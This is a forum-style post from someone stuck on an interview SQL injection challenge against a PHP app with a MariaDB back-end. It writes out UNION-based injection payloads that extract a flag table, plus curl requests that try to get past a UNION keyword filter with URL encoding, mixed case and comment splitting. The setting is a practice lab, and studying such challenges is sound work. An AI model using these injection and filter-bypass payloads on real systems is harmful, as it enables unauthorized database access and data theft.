I've recently had an interesting interview exercise I haven't completed and it does puzzle me what kind of filter/protection they've used. The vuln app is a PHP with simple MariaDB (5.5.56) back-end, where name FORM is vulnerable to SQL injection and challenge is to get FLAG value from diffrent table.
In first exercise, it has been dead simple exploit such us:
' UNION ALL SELECT version(),GROUP_CONCAT(flag) FROM challenges.one --
With the 2nd challenge, the FORM filed looks the same and display same column values(name,tokens) as in the 1st challenge.
I can confirm vuln with simple OR but
' OR tokens=100 --
I can use subquery in my injections, so I can test for blocked keywords and for example select keyword is not blocked:
' OR tokens=(select 100) --
The moment I use union keyword I get 0 rows returned. I think it is a UNION keyword that is blocked as even with simple:
' OR tokens in (select NULL union select 100) --
I get 0 rows returned in 2nd challange but query does work in 1st.
Every attempt of encoding, injection some extra characters to bypass filter fails. So far I've tried URL encoding, Mix case, comment in keyword and extra split keyword with another one in case keywords are stripped. I've been trying to run them in 1st challenge first to verify that syntax works as they are sharing same database back-end.
curl 'https://<URL>.php?name=%27%75%6e%69%6f%6e+select+1,2+--+' <- Works in 1st chl curl 'https://<URL>.php?name=%27UnIoN+select+1,2+--+' <- Works in 1st chl curl 'https://<URL>.php?name=%27un/\*\*/+select+1,2+--+' <- Doesn't work, the /**/ comments are breaking syntax in 1st chl curl 'https://<URL>.php?name=%27uNunionIoN+select+1,2+--+' < Doesn't work in 1st chl, the extra characters around union are breaking syntax as there is no filter/protection to replace them with nothing.
Very much tested every option from:
I can't figure it out, every little help welcome.